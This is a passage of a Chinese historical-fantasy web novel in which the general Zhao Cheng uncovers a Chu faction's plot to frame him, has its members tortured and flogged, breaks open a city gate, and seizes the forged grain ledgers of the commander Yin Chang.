影月面无表情地弹了灵鸢一个脑瓜崩,将金饼拍回箱子里,“别动,都是爵爷的。”
灵鸢撅起小嘴,“爵爷说了,坑多少都是咱们的。”
影月食指戳了戳灵鸢的魅心,“爵爷说给,咱们就能要吗?
爵爷治好了禾儿,让她现在过得那么好,你我也不用每日担惊受怕。
而且此事都是爵爷一手安排,这钱你能拿得安心?“
灵鸢依依不舍地合上了钱箱子,“唉,说的也是。”
“只是这金子,真是让人看不够……”
被药无医坑地,两人真是穷怕了。
看见金子,还真有些走不动道。
第184章 奸贼窝里真仗义?佞骨喷血败谋局
“此事皆是我一人谋划,与旁人无干!”
郁逊瘫在地上,脖颈上还留着被拖拽时的血痕,声音却透着股破罐子破摔的硬气。
他垂着眼,不敢看赵诚,只盯着自己沾满泥污的靴尖。
反正都是死,若是能够一人担下所有干系,那昌平君或许还有办法保住他的家人。
所有后事,也会有昌平君帮忙处理。
赵诚稳稳坐在神骏的乌骓马上,玄色大氅在夜风中猎猎作响,边缘扫过马蹄边的野草,带起细碎的草屑。
月色从他肩头淌下,将他魁伟的身影拓在地上,像一座压得人喘不过气的黑山。
周身散出的煞气混着血腥味,让周遭的空气都仿佛凝固了,郁逊只觉得胸口发闷,连呼吸都要费上三分力气。
“哦?”
赵诚挑眉,声音里听不出喜怒,只有冰碴子似的冷,“倒是没想到,奸贼窝里还能出个真仗义。”
他俯身,指尖在马鞍的铜环上轻轻一敲,“可惜了,这股子硬气用错了地方。”
“无妨。”他微微侧头,目光转向立在一旁的两名黑冰台秘士。
“你们黑冰台审人的手段,据说是不错。”
“此人交给你们,免得审出了什么,会有人反驳说我栽赃嫁祸!”
“唯!”
黑冰台秘士连忙领命,一左一右架起郁逊往树林里拖。
郁逊挣扎着想要骂些什么,却被其中一人捂住了嘴,只能发出“呜呜”的闷响。
黑冰台的人自己也觉得奇怪,明明该只听秦王号令,可面对赵诚这道命令,竟像是本能般顺从,仿佛那玄色披风下的身影,本就该是发号施令的主。
夜风吹过树林,带起“沙沙”的叶响,恰好掩去了林中隐约传来的闷哼。
那声音压抑得厉害,不似哭喊,倒像是骨头被碾碎时的痛呼,却又被硬生生憋在喉咙里,听得人头皮发麻。
不过一炷香的功夫,树林里的动静就停了。
两名秘士拖着软成一滩泥的郁逊走出来,他原本还算齐整的官袍被撕得稀烂,身上新添了数不清的血痕,嘴角淌着涎水,眼神涣散得像蒙了层雾。
刚被扔在地上,他就猛地咳嗽起来,咳着咳着,眼泪鼻涕全下来了,哪里还有半分刚才的硬气。
“说……我说……”
郁逊喘着粗气,声音抖得不成样子,“是昌平君……全是昌平君指使的……”
他像是怕说得慢了再受刑罚,语速快得几乎咬到舌头:“他被上将军当众鞭打后,心里恨得厉害,就拉着我们几个楚系官员谋划……
先是先以粮草克扣引陛下生疑,再伪造密信,让陛下认定是上将军克扣粮草以嫁祸昌平君。
接着再让陛下查粮时发现上将军私分战利品的假账册,更加怀疑赵将军结党营私,
最后,在陛下进城之前,煽动赵地遗臣骚乱,冲袭王驾,使得陛下更是怀疑将军。
等陛下进城之后,我等联名上奏,做实赵将军结党营私,勾结刺客的罪名。
但这一切,因为望岳驿的第一环计划出现了问题,关键证据不见了,导致后续计划全都破灭。
陛下更是让血衣军亲自调粮,眼看要毁于一旦,昌平君决定铤而走险,趁血衣军调粮去望岳驿的时候,袭扰王驾,让陛下怀疑血衣军勾结刺客,心生嫌隙,从而反转局势……“
两名秘士早已取出竹简,笔尖在月光下飞快滑动,将他的话一字不落地记下来,竹简上的墨迹很快晕开,带着几分湿冷的寒意。
赵诚听完,嘴角勾起一抹冷笑:“看来昌平君那日挨的鞭子,还是没让他真心悔过。”
他勒转马头,暗红大氅扫过地面的草叶,“走吧,咱们去他府上,再帮他‘好好忏悔’一番。”
马蹄声在寂静的夜里格外清晰,朝着邯郸城内昌平君的府邸而去。
……
“大人!郁逊被赵诚的人抓了!”
昌平君正靠在床头,由侍女给他换药,听见这话,猛地瞪大了眼睛。
刚被敷上药的脊背像是被火燎了似的疼,他一把推开侍女,差点从床上栽下去:“你说什么?郁逊被抓了?”
“不是在城外破庙交易吗?怎么会被抓的!?“
“那什么影楼七魅,连王侯都能够刺杀,交易竟然也能被发现,这么不小心!?”
他实在想不通。
那郁逊不是说影楼
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七魅是江湖上顶尖的**组织,行事素来隐秘吗?
还说什么别说交易地点,便是她们的踪迹都难寻。
当年魏国公子痤在重兵护卫的府中被刺,过了半年才被查出是她们凶手,怎么到了自己这里,刚交易就被抓了?
“不是啊大人!!抓他的就是那个影楼七魅!”
“什么!?”昌平君整个人都懵了,“影楼七魅不是他找来的吗?抓他作甚?”
“她们是嫌钱不够?”
报信之人捶胸顿足,声音之中带着一丝发自内心的惊恐寒意:
“大人啊,那影楼七魅明明是赵诚手下,是血衣楼的封喉,郁逊能够联络上影楼七魅,从一开始就是个圈套!完全是因为赵诚在钓鱼啊!”
影楼七魅是血衣封喉……
圈套……
钓鱼……
这些字眼像一把淬了冰的锥子,狠狠扎进昌平君的心里。
他猛地想起郁逊出发前,自己还反复叮嘱“小心行事”。
想起凑黄金时众人咬牙割肉的模样。
想起谋划时觉得“此计天衣无缝”的得意……
原来从始至终,他们的一举一动都在赵诚的手掌心里面绕圈!
所谓的连环计,所谓的铤而走险,所谓的刺客袭扰……
不过是赵诚看着他们像跳梁小丑一样折腾,最后再一巴掌拍死!
三万黄金成了资敌的军费,密谋的证据被赵诚抓个正着,连“袭扰王驾”这等诛九族的罪名,都被牢牢扣在了自己头上!
这种无论怎么挣扎,都逃不出对方手掌心的无力感,像潮水般将昌平君淹没。
他只觉得胸口一阵翻江倒海,喉头涌上一股腥甜,再也忍不住,“哇”地喷出一口鲜血,溅在雪白的锦褥上,像绽开了一朵凄厉的红梅。
而耳边还在传来手下官员们的慌乱喧嚣声音。
“大人!!大人你要挺住啊!”
“这可怎么办?”
“大人,我们可是一路跟着你到这里的,你可不能放弃不管啊!”
“这下勾结刺客袭扰王驾的罪名,做实在咱们脑袋上了。
这等诛九族的大罪,臣等承受不起,昌平君你快想个章程吧!”
第185章 梅开二度笞佞骨,谋败魂飞悚诸臣
“这要是让陛下知道了,别说咱们这些当官的,便是家里的老幼仆役,上百口人都得陪着掉脑袋啊!”
一名楚系官员瘫坐在椅上,双手死死抓着案几边缘,指节泛白得几乎要嵌进木头里。
他的官帽歪在一边,露出被汗水浸透的发髻,说话时牙齿打着颤,声音里满是哭腔。
旁边的老臣背着手在原地打转,靴底磨得青砖吱呀作响,急得胡须都翘了起来:
“昌平君!您快拿个主意啊!是逃?还是……还是拼了?”
“逃?往哪逃?”
另有人冷笑,声音却抖得不成样子,“邯郸城四门都被血衣军把着,便是化作鸟雀,也飞不出这城墙去!
依我看,不如……不如去求求赵诚?
好歹咱们也是秦臣,对他多少有点用处,只要答应只有以他为首,言听计从,或许他能留咱们一条活路……”
“求他?”
立刻有人反驳,脸上看不到一点血色,“你忘了邯郸城外那顿鞭子?
你忘了韩赵两国的尸山血海?
那血屠的心是石头做的!
求他还不如求阎王爷开恩!”
惊慌失措的吵嚷声像无数根针,扎在昌平君的耳膜上。
他刚被血呛得缓过些气,脑袋里却依旧昏沉,眼前的人影忽远忽近,像是隔着一层水雾。
绝望像冰冷的潮水,从脚底一点点漫上来,淹没了他的胸口。
他曾以为自己在朝堂浸淫多年,权谋之术早已炉火纯青。
谁知道,面对那赵诚,竟然像个刚学步的孩童,每一步都踩在对方布好的陷阱里。
赵诚的身影,此刻在他心里化作了一座不见顶的黑山,沉甸甸地压着,连呼吸都带着疼。
就在这时,院墙外传来一阵沉重的脚步声。
那脚步声极有规律,每一步都像夯锤砸在青石板上。
“咚、咚”的声响顺着廊柱往上爬,震得梁上的积灰簌簌往下掉。
不用看,在场的人都知道是谁来了。
除了那魁梧如险峰的血屠阎罗,谁能踏出这般厚重笃定的步子?
房间里的吵嚷声瞬间掐断,落针可闻。
所有人都僵在原地,连呼吸都下意识屏住了。
有几个胆小的,后背紧紧贴在墙上,眼睛瞪得溜圆,死死盯着那扇雕花木门,仿佛下一刻就会有洪水猛兽从里面冲出来。
一道巨大的影子投在门窗上,将天光遮得严严实实,连烛火都黯淡了几分。
“吱呀——”
木门被缓缓推开,带着陈年的木轴摩擦声,赵诚的声音先一步飘了进来,轻得像风,却也温和。
但听到众臣的耳中,却带着刺骨的寒意。
“昌平君竟要勾结刺客,行刺陛下……看来那日在城门外的悔过,还是太轻了。”
他迈步走入房间,暗红大氅扫过门槛,带起一阵裹挟着煞气的风。
那股子尸山血海里泡出来的戾气,让离得近的官员下意识后退,撞到了身后的花架,青瓷瓶“哐当”摔在地上,碎成了几片。
“某听闻此事,特意来帮昌平君再好好悔过一番。”
赵诚的目光扫过众人,像是在看一群待宰的羔羊,语气平淡得仿佛在说要请人喝茶。
可这话落在众人耳里,却比任何威胁都更让人胆寒。
邯郸城门外那顿鞭打仿佛就在昨日。
荆条撕裂皮肉的脆响、昌平君撕心裂肺的惨叫、地上蜿蜒的血线……
这些画面瞬间在脑海里炸开,有人忍不住打了个寒颤,下意识摸了摸自己的脊背。
昌平君被那煞气逼得喘不过气,却还是咬着牙,声音嘶哑地问道:“赵诚,你非要赶尽杀绝吗?”
“赶尽杀绝?”
赵诚嗤笑一声,往前逼近两步,周身的气压陡然降低,吓得众臣又退了几步,几乎贴到了墙角。
“某虽好**,对你昌平君却已算是温和。
上次鞭打,是你自己跪在城门外求着‘悔过’,某不过是遂了你的意,怎么就成了赶尽杀绝?”
他俯身,目光像淬了冰的刀,直刺昌平君的眼底:“至于杀不杀,轮不到某来定。陛下自有圣断。
某今日来,只是帮你迷途知返,省得到了陛下面前,连句完整的供词都吐不出来。”
话音未落,赵诚突然探出手,像拎小鸡似的抓住昌平君的后领。
昌
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平君本就虚弱,被这突如其来的力道一提,顿时双脚离地,手腕胡乱挣扎着,却连对方的衣袖都碰不到。
他看着赵诚那张没什么表情的脸,绝望和恐惧像藤蔓一样缠住了心脏,连喊都喊不出来。
赵诚提着他往院外走,路过一名吓得瑟瑟发抖的官员时,淡淡吩咐:“去寻些荆条来。
要带刺的,越结实越好。”
那官员哪敢反抗,忙不迭地应着,转身就往院角的柴房跑。
他心里慌得厉害,只想着千万别让赵诚挑出毛病。
特意在柴堆里翻找,选了些最粗壮、倒刺最锋利的荆条,用布包着捧了回来,双手递过去时,指尖抖得像筛糠。
赵诚接过荆条,随手分给身后的几名血衣军亲卫。
然后抬手指了指房间里缩成一团的楚系官员:“一人一根,先帮他们‘悔过’,省得到了陛下面前,连认错的态度都没有。”
众臣顿时面如死灰。
不是吧?
找荆条原来是给所有人预备的?
方才那找荆条的官员更是欲哭无泪,恨不得抽自己两个耳光。
早知道自己也要挨这带刺的荆条,方才何必费尽心机挑最“标准”的?
此刻看着亲卫手里那根布满尖刺的荆条,他只觉得后颈的汗**都竖了起来。
另一边,赵诚已经提着昌平君走到了院中央。
他反手将昌平君掼在地上,青砖被砸得“咚”一声响。
昌平君疼得闷哼一声,刚想撑起身子,赵诚手里的荆条已经带着风声抽了下来。
“啪!”
荆条带着倒刺抽在背上,血痂瞬间裂开,翻卷的皮肉间渗出血珠,顺着腰腹往下淌,在地上积成小小的血洼。
昌平君浑身剧烈一颤,喉咙里挤出一声凄厉的呜咽,眼前阵阵发黑,差点晕厥过去。
他咬着牙,额头抵着冰冷的青砖,从牙缝里挤出几个字:“赵诚……你……不得好死……”
“啪!啪!啪!”
赵诚根本不给他聒噪的机会,荆条像雨点般落下,每一下都是皮开肉绽。
前伤未好,新伤又填,昌平君挣扎的像是一条上了岸的鱼……
第186章 再缚囚车沥血旌,诸将魂飞破胆行
起初昌平君还能骂几句,到后来只剩下嗬嗬的抽气声。
身体像离水的鱼一样抽搐着,几次疼得晕过去,又被接踵而至的剧痛惊醒。
眼泪鼻涕混着血水糊了满脸,凄惨的叫声在院子里回荡,听得人头皮发麻。
而在他身旁,楚系官员们的惨叫声也此起彼伏。
血衣军亲卫们都是炼体有成的锐士,寻常十二石石锁都能够举起,手上的力道哪是这些文官能承受的?
他们虽记着赵诚“留一口气”的吩咐,可抡起荆条时,哪里收得住力道?
不过三五下,就有官员疼得满地打滚,背上的官袍被血浸透,沾着泥土和草屑,看着就像个血葫芦。
有个老臣实在扛不住,哭喊着求饶:“上将军饶命!是昌平君逼我们的!我们都是被胁迫的啊!”
“上将军别打了,我们说,我们什么都说!”
“上将军,昌平君的谋划我们都知道,所有细节都清楚,饶命饶命啊!”
“还有那些军中名册,是我经手处理的,我知道所有执行此事的人……”
可亲卫们只听赵诚的命令,手上的荆条丝毫不停。
“用得着你们?你以为你们做的那些事情,将军一概不知!
“好教你们知道,你们那些军中的羽翼,现如今都已经被将军派人盯**!”
“一群只会背后搬弄是非,诬陷将军的腌臜臭虫!打死你们都算是便宜了!”
有个性子烈的亲卫,呵斥一声,一脚踩住官员的后背,荆条抡得更狠了,直打得对方连哭喊的力气都没了,只剩进气没出气。
整个院落里,荆条撕裂皮肉的脆响、官员们凄厉的惨叫、偶尔夹杂的求饶声,混在一起,像一场诡异的酷刑交响乐。
这一次时间短了很多,不过一盏茶功夫,赵诚便停了手。
一来昌平君确实快扛不住了。
二来这一路上还得悬挂示众,不留点体力,怕他们真死在路上。
他扔掉手里的荆条,那荆条上的倒刺已经被血染红,沉甸甸地坠着血珠。
昌平君趴在地上,像一摊烂泥,后背早已没了好肉,血顺着地砖的缝隙往低洼处流,在他身下积成一汪小小的血池。
那些楚系官员也好不到哪去,一个个瘫在地上,有的昏死过去,有的还在微弱地呻吟,身上的血把院子里的青石板染得斑斑驳驳。
“把他们都绑了,吊在囚车前面。”
赵诚对亲卫吩咐道,声音里听不出丝毫波澜,“咱们往望岳驿去,让沿途他们的人都看看,在后勤搬弄是非,在粮册上动手脚是什么下场。”
亲卫们立刻上前,用粗麻绳将昌平君等人像捆猪似的捆住。
绳子勒进他们血肉模糊的伤口里,疼得昏死的人都醒了过来,发出一阵细碎的呜咽。
很快,一支奇特的队伍出了邯郸城。
最前面是两辆囚车,昌平君和几个主谋被吊在囚车之上,身上的血还在往下滴。
后面跟着被捆成粽子的楚系官员,由血衣军力士挑杆悬挂,向望岳驿疾驰。
而这只调粮队伍,身后竟然无粮。
赵诚骑着神骏大马走在队伍中间,目光遥遥望向望岳驿的方向,沿途城池他都打过。
昌平君在军中安插的那些羽翼,此刻所在,他一清二楚。
不需要什么调粮文书,更不需要什么问罪证据。
因为挂在囚车上的昌平君,就是文书,就是证据。
至于那些被用来污蔑血衣军私分战利品的假账册、伪造的田产名录。
赵诚早就让血衣楼的封喉先去锁定了。
人证、物证,桩桩件件,都已备齐。
这场清洗,即将开始。
……
邯郸城中的惨叫声尚未传到望岳驿沿途的城池。
这些由楚系将领镇守的城郭里,却早已弥漫着一种紧绷的期待。
尹常正坐在府衙的案前,指尖捻着一枚刚蘸了朱砂的笔,在最后一本粮册上落下朱批。
册页上“血衣军私分故赵旧地”的字迹被他描得格外浓重,旁边还附着几处“证人”的画押。
这些都是他按昌平君的吩咐,连夜篡改的“铁证”。
桌案旁堆着七八个木盒,里面装着各城楚系将领送来的密信,内容大同小异。
“一切就绪,只
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待君令”。
他将朱砂笔搁在笔山上,长舒一口气。
窗外的日光正好,照在他新换的锦袍上,泛着得意的光泽。
用不了多久,等嬴政的使者顺着粮道查过来,他就捧着这些“证据”跪地死谏。
届时各城将领一齐发难,多重铁证砸下,定能将陛下对赵诚那“血屠”的信任砸得粉碎。
“将军!”
一名亲卫脚步匆忙地冲进府衙,甲叶撞在门框上叮当作响。
“城外十里处,出现一队血衣军!足有千人!”
尹常捏着粮册的手指猛地一紧,册页被攥出几道褶皱。
他豁然起身,腰间的佩剑“哐当”撞在案角,声音里带着难以置信的尖锐:
“你说什么?血衣军?他们怎么会出现在这里?”
亲卫脸色微白,额角的冷汗顺着脸颊往下淌:
“小人在箭楼上看得真切,黑甲红披,旗帜上绣着‘血’字,错不了!
看他们的行进方向,像是往望岳驿去的!”
尹常的心脏“咚咚”狂跳起来。
血衣军的名头,如今在秦军中几乎成了“战神”的代名词。
人的名,树的影。
血衣军的声威,经过灭赵一战之后,彻底打响,不但敌人闻风丧胆,军中将士更是对其敬畏。
更何况,血衣军背后站着的,可是那位血屠阎罗。
他们出现在哪里,那血屠阎罗现在何处,所有人都要掂量掂量。
“那血屠……”
尹常的声音有些发颤,指尖无意识地摩挲着腰间的玉带,“赵将军也来了!?”
亲卫咽了口唾沫,努力回忆着:“队伍最前面,确实有个极高极魁的身影,骑在一匹神骏大马上,手里提着一杆比寻常大槊还要高出半截的大戟。
小人没见过赵将军本人,但那气势……怕就是他。”
尹常的后背瞬间沁出一层冷汗。
他想起前几日赵诚鞭打昌平君时的无所顾忌,又想起军中传闻里赵诚弹指屠城的霸烈,手指不由自主地蜷缩起来。
他篡改粮册、伪造证据的事,若是被赵诚发现……后果不堪设想。
第187章 裂戟崩城惊敌胆,虚威碎梦悚尹常
“这队血衣军……带了多少辎重?可有粮草随军?”
他强作镇定地追问,指尖却在微微发抖。
“奇怪就奇怪在这里,”亲卫皱着眉,“他们行军速度极快,甲胄齐全却没带辎重,更没带粮草。
队伍中间跟着几辆囚车,最前面的血衣军用大槊挑着一排……
一排‘血人’,像是受了重刑的**,身上的血把槊杆都染红了。”
“**?千人队?急行?”
尹常的眉头拧成个川字,脑中的念头飞速转动。
他走到地图前,手指点在邯郸城的位置大脑飞快转动,很快一个猜想就冒了出来。
“难道是昌平君大人的计划已经成功,赵诚这是带着人去请罪去了?”
“那些**,或许就是他被迫推出来的替罪羊!”
“哈哈!定是这样!”
尹常抚掌大笑,方才的紧张一扫而空,连声音都拔高了几分,“定是昌平君大人的计划成了!
赵诚那厮被逼得没办法,只能抓些替罪羊去给陛下谢罪!”
他越想越觉得合理,踱着步子在府衙里转了两圈,锦袍的下摆扫过案上的粮册。
“你想,他若真要发难,怎会只带千人?
定是在邯郸受了挫,急于去望岳驿平息陛下的怒火!
那些被挑在槊上的‘血人’,怕就是他推出来顶罪的手下。
毕竟克扣陛下出巡队伍供应的罪名,总得有人担着!
比如,那丢了私印的血衣校尉!”
旁边的亲卫听得连连点头:“将军英明!这么一说,确实像这么回事!”
“那是自然。”尹常扬起下巴,脸上露出几分自负的笑意,“论打仗,赵诚或许能称第一。
可论这些朝堂权谋、人心算计,十个他也比不上昌平君大人一根手指头!”
他走到铜镜前,理了理衣襟上的褶皱,指尖拂过鬓角:“他急着去望岳驿,哪还有心思细查我这城里的粮册?
等他到了陛下跟前,昌平君大人再添上一把火,勾起陛下的猜忌。
届时咱们这些‘证据’一递,保管让他万劫不复!”
想到赵诚那锐不可当,连破两国的“血屠阎罗”,到头来要栽在他们这些人手里,尹常就觉得浑身舒泰。
他转身抓起案上的佩剑,往腰间一挂,对亲卫道:“备马!随我上城头!”
“将军要做什么?”
“做什么?”
尹常冷笑一声,眼底闪着幸灾乐祸的光,“本将要去城头上看看,这位三日破邯郸、十日定赵国的‘血屠阎罗’,如今是何等狼狈!
我倒要瞧瞧,在昌平君手段面前,他那身煞气还能剩下几分!”
亲卫连忙应着,转身去牵马。
尹常整了整衣甲,大步走出府衙,阳光照在他得意的脸上,映出满面红光春风得意。
……
尹常提着衣袍下摆,大摇大摆地踏上城头时,青砖上的晨露还未被日光晒干,踩上去滑腻腻的。
他身后跟着两名亲兵,甲叶在城砖上拖出“哗啦”的声响,像是在给自己壮胆。
远处的地平线上,血衣军的队伍已如一条黑色的洪流,滚滚而来,离城池不过半里地了。
他眯起眼,顺着城垛的缝隙往前看,目光第一时间就盯死在队伍最前方的那匹神骏大马上。
只一眼,尹常的心脏就像被一只冰冷的手攥住,猛地一缩。
好重的煞气!
明明隔着半里地的距离,那股子尸山血海里泡出来的煞气却像山崩于前,轰隆隆地碾压过来。
惊得他后颈的汗**都竖了起来。
赵诚身上那件暗红大氅在风中猎猎作响,翻卷不已,好似自血海里面洗出来的。
他倒提着一杆擎天大戟,三锋两刃,戟杆如龙,吞口如虎,映着日光那是金辉流转,好似天柱擎霄,轻轻一扬,就能劈开天上的流云。
高魁的身躯,好似险峰将倾般压迫!
此人仅仅是策马驰来,却好似一把惊天利刃,能够将这城池一分为二。
“装腔作势!”
尹常咬着牙,喉结狠狠滚动了一下。
心底莫名窜起一股恼羞成怒来。
都到这份上了,这血屠还摆什么威风?
也不知道在装什么?
定是色厉内荏,想用这副模样遮掩心虚!
他深吸一口气,在心里反复念叨:这血屠已经到了穷途末路,自家府衙里面那些军册足以压垮这座大山,不需要太过敬畏。
城内还有两万驻军,都是自己的手下,这赵诚胆敢无理嚣张,真要动起手来,两万人还怕他这一千血
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衣军?
自己该拿出点气势来,给他个下马威看看。
念及此,尹常挺了挺腰杆,故意往前挪了半步,让自己的身影正对着城下的赵诚。
让赵诚能够看到自己,仰视自己。
可血衣军的队伍丝毫没有减速的意思,如雷的蹄声越来越近。
“咚、咚”地敲在城砖下的土地里,连带着城头都微微发颤。
“开城!”
赵诚身旁的亲卫突然勒住马,仰起头大喝一声。
那声音像滚雷碾过城头,震得尹常耳边嗡嗡作响,城垛上的麻雀被惊得扑棱棱飞起,洒下一串碎羽。
尹常被这声喝斥激得心头火起,猛地一拍城垛,青灰的城砖被他拍掉一小块碎屑:“放肆!来者何人,敢在城下喧哗?”
他故意梗着脖子,摆出一副“不识得”的模样,声音拔高了八度,想让城头上的士兵都听见:
“按秦律,凡军伍入城,须先退至三里外,递上开城文书与印信,待守军核验无误,至少需等一时三刻,方能开门!
尔等连规矩都不懂,也敢自称秦军?”
话音未落,城下突然传来一声震耳欲聋的“轰隆”!
那声响像是地底的地龙翻了个身,又像半空炸了个响雷,震得城头的砖缝里簌簌往下掉灰。
尹常只觉脚下的城砖猛地一沉,整个人晃了晃,差点从城垛边栽下去,亏得身后的亲兵眼疾手快扶住了他,才勉强站稳。
“怎、怎么回事?”他捂着发懵的脑袋,声音都变了调。
城头上的士兵早已乱作一团,有人指着城下,声音抖得不成样子:“将、将军!城门……城门碎了!”
尹常猛地探头,顺着士兵指的方向往下看——
这一眼,让他如遭雷击,脑子里“嗡”的一声,像是有无数只蜜蜂在里面乱撞。
只见那两扇足有半尺厚的榆木城门,此刻竟像纸糊的一般,碎成了无数块木片,飞溅的木屑混着泥土,在城门口堆起半人高的狼藉。
城门两侧的石墙被震得裂开数道狰狞的缝隙,最宽的一道能塞进拳头,砖土不断往下掉,看得人头皮发麻。
而那道擎天大戟的月牙刃,正自坚固城墙里面缓缓收回,戟尖还在微微震颤,显然刚才那一击,正是出自赵诚之手。
第188章 槊挑同党惊尹魄,铃碎伪册候凶徒
“咕嘟……”
尹常盯着那破碎的城门,下意识地咽了口唾沫,喉结滚动的声音在死寂的城头格外清晰。
他原以为,赵诚既是去“请罪”,定会收敛锋芒,哪敢如此嚣张?
就算真敢**,他这两万驻军守城,难道还拦不住一千人?
可他怎么也想不到,赵诚竟然真就如此无所顾忌,带着一千血衣军,在不符合规制的情况下,敢一戟将城门都破碎!
若按照尹常之前的想法,一旦血衣军有了什么出格的举动,他立刻就要硬顶回去。
但当亲眼见了这“一戟破城”的威势,尹常只觉得双腿像灌了铅,别说下令驱赶,连挪一挪步子的力气都没了。
那早就想好了措辞的呵斥,竟然就这样哽在喉咙中,咽不下去,却也不敢吐出来,噎的他双眼发黑。
血衣军已如潮水般策马入城。
黑甲红披的身影掠过破碎的城门,马蹄踏在木片上发出“咔嚓”的脆响,却没有一人看城头一眼,仿佛这坚城在他们眼里,不过是道虚设的篱笆。
至于什么驻军守将,与路边野狗也无甚不同。
尹常呆呆地站在城垛边,看着血衣军如入无人之境般策马入城,根本提不起一丝勇气再说一个不字。
看着看着,突然感觉余光之中,那悬挂在最前方的**身影有些熟悉。
他挪动目光,细看那里。
几杆粗长的铁槊挑着些血糊糊的人影,那些人影被麻绳捆着,低垂着头,身上的血痕密密麻麻,看着十分凄惨。
起初他只觉得刺眼,可看着看着,心头突然窜起一股不祥的预感。
他眯起眼,死死盯着最左边那道人影。
那人影虽然被血糊了大半张脸,可露出的那截脖颈、那身残破的锦袍料子……怎么看怎么眼熟。
这人,看着怎么那么像昌平君?
尹常的呼吸猛地一滞,心脏像是被一只无形的手狠狠攥住,疼得他差点喘不过气。
不会的……绝不可能……
昌平君大人何等尊贵?
就算被贬为邯郸郡守,那也是秦王宗亲,怎么会像**一样被挑在槊上?
还被打得像个血葫芦?
一定是看错了……定是光线不好,认错人了……
他拼命眨着眼,想把那道人影从视线里抹去,可越看,那熟悉的轮廓就越清晰。
尤其是那人影腰间挂着的半块玉带。
那是昌平君常年随身佩戴的“蓝田玉”,尹常在咸阳宫见过不止一次!
这一刻,浑身残存的些许力量突然如同潮水一般褪去。
眼前有些天旋地转,好似天崩地裂了一般。
“哐当!”
尹常腰间的佩剑不知何时滑落在地,剑鞘撞在城砖上,发出刺耳的声响。
他却浑然不觉,只是死死盯着那道人影,脸色一点点变得惨白,嘴唇哆嗦着,连一句完整的话都说不出来。
城头上的风突然变得狂暴起来,卷着城下的血腥味和碎木屑冲上城垛,像无数根细针扎进尹常的喉咙。
他猛地弯下腰,剧烈地咳嗽起来,指节死死抠着城砖的缝隙,指甲缝里渗出血丝。
视线透过模糊的泪光,他再次看向那被铁槊挑在最前方的血人。
那残破的锦袍领口露出半截玉佩,虽沾满血污,却依稀能看出是蓝田玉特有的温润光泽。
那身形虽被打得佝偻,可肩宽腰窄的轮廓,确确实实就是他见过无数次的昌平君!
而后面那排被挑着的“**”也渐渐清晰起来。
左边那个塌鼻梁的,是掌管邯郸粮道的楚系老臣昭雎。
右边那个瘸着左腿的,是上个月还来密会他的属吏……
一个个都是与他合谋篡改粮册的同党!
这哪里是替罪羊?
这是楚系官员被赵诚一网打尽了!
尹常的脸色瞬间灰败如死灰,嘴唇哆嗦着,连咳嗽都忘了。
他想起昨日傍晚还对着密信冷笑,说“血屠匹夫,焉知权谋”。
想起今早描红粮册时的得意,觉得“此计一成,可定血屠”。
想起方才登城时挺得笔直的腰杆,想给赵诚一个“下马威”……
如今想来,那些念头简直可笑得让他头皮发麻。
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>如今他所谓的依仗,自信的靠山,被人家挑在杆子上,鞭刑示众。
他以为的坚城,部下带来的底气,被人家一戟劈了个粉碎!
他终于后知后觉地意识到,自己府衙里那些“证据”,那些自以为能压垮赵诚的粮册,在这“一戟破城”的威势面前,在那槊上悬挂的人影面前,根本就是个笑话。
这场他自鸣得意的权谋之争,从始至终,都像是孩童拿着木剑,去挑战獠牙尖利的暴虎。
咚咚咚!
城下血衣军的如雷马蹄声越来越近,像重锤敲在尹常的心上。
他猛地回过神,浑身的汗**都竖了起来。
不能等!必须立刻去府衙,把那些伪造的粮册烧了!
只要没了证据,只要能和昌平君撇清干系,或许……或许还有一线生机!
尹常转身就跑,连腰间掉落的佩剑都顾不上捡。
他爆发出毕生最快的速度,踩着城头的青石往下冲,石阶上的青苔让他踉跄了好几次,差点滚下去。
亲兵在后面喊他,他却像没听见,满脑子只有一个念头:毁了粮册!
冲进府衙大门时,他跑得太急,差点撞在门柱上。
踉跄着站稳,抬头就看见书房的案前——那堆叠如山的粮册上面,竟坐着一个人。
那是个女子,身形曼妙,半隐在窗棂投下的阴影里,看不清面容。
她斜斜地坐着,一条腿屈起,足尖点在粮册堆上,另一条腿自然垂下,露出半截如玉细嫩的脚踝,上面挂着一条红绳金铃。
最醒目的是她的手,修长纤细的指尖上,一枚三寸长的短刃正灵活地绕着指节转动,刃面反射着微光,在粮册上投下细碎的光影。
“谁?!”
尹常的心脏猛地一缩,下意识地摸向腰间,才想起佩剑早掉在了城头。
他强作镇定,怒目而视,声音因急促的喘息而发颤:“你是何人?竟敢擅闯郡守府衙?速速离去,本将可以饶你不死!”
阴影里的女子轻笑一声,声音像山涧的泉水,却带着刺骨的寒意。
“血衣楼,封喉灵鸢。”
第189章 伪册呈锋擒尹囚,血屠挥刃斩群奸
“该离开的是你吧……“
灵鸢指尖的短刃骤然停住,稳稳地落在掌心。
“这些粮册,记录着你等克扣陛下粮草、伪造田产名录嫁祸爵爷的‘功劳’,可是动不得的。”
“胡说八道!”尹常心头一沉,知道对方来者不善。
他猛地往前冲,抄起门边的一根铁制门闩,“让开!”
生死关头,他也顾不上什么章法,门闩带着破风声砸向女子的肩头。
他虽不以武力见长,可毕竟是守城将领,这一击也有几分力道。
可那女子的动作比他快得多。
只听“咻”的一声轻响,短刃从她掌心飞出,擦着门闩掠过。
尹常只觉手腕一麻,门闩“哐当”落地。
还没等他反应过来,眼前寒光再闪。
三枚短刃几乎同时射出,分别擦着他的脖颈、心口、小腹飞过,钉在他身后的木柱上,刃尾还在嗡嗡震颤。
“嗤……嗤……”
几道细微的血线顺着尹常的衣领、衣襟渗出,很快洇开深色的痕迹。
他低头看去,脖颈上一道血痕正往下淌血,心口的衣襟被划破,露出里面渗血的皮肉,小腹处更是火辣辣地疼。
这几下,每一道都贴着要害,却偏偏留了他一口气。
“你……”尹常的脸色彻底惨白,一股绝望从脚底直冲头顶。
他终于明白,赵诚早就布好了局。
不仅抓了昌平君,连他藏在府衙的粮册都被盯上了。
这人是怎么做到的?
从昌平君定计到现在不过一日一夜的时间,就连他这些伪造的粮册,也不过才堪堪整理好。
他竟能精准地锁死所有证据?
就在这时,府衙的大门“轰隆”一声被踹开,木屑飞溅。
两名身着黑甲的血衣军锐士如猎豹般扑了进来,动作快得只剩残影。
“拿下!”
尹常还没来得及挣扎,就被两人一左一右按住了肩膀。
那是两双粗糙、坚硬,带着常年握兵器磨出的厚茧,力道大得像铁钳的手。
尹常只觉肩膀一阵剧痛,仿佛骨头都要被捏碎。
他拼命挣扎,双腿蹬地,腰腹用力想挣脱,可那两人的手却像生了根似的,任他怎么使劲,都纹丝不动。
“放开我!我是守城将军!你们敢……”
“砰!”
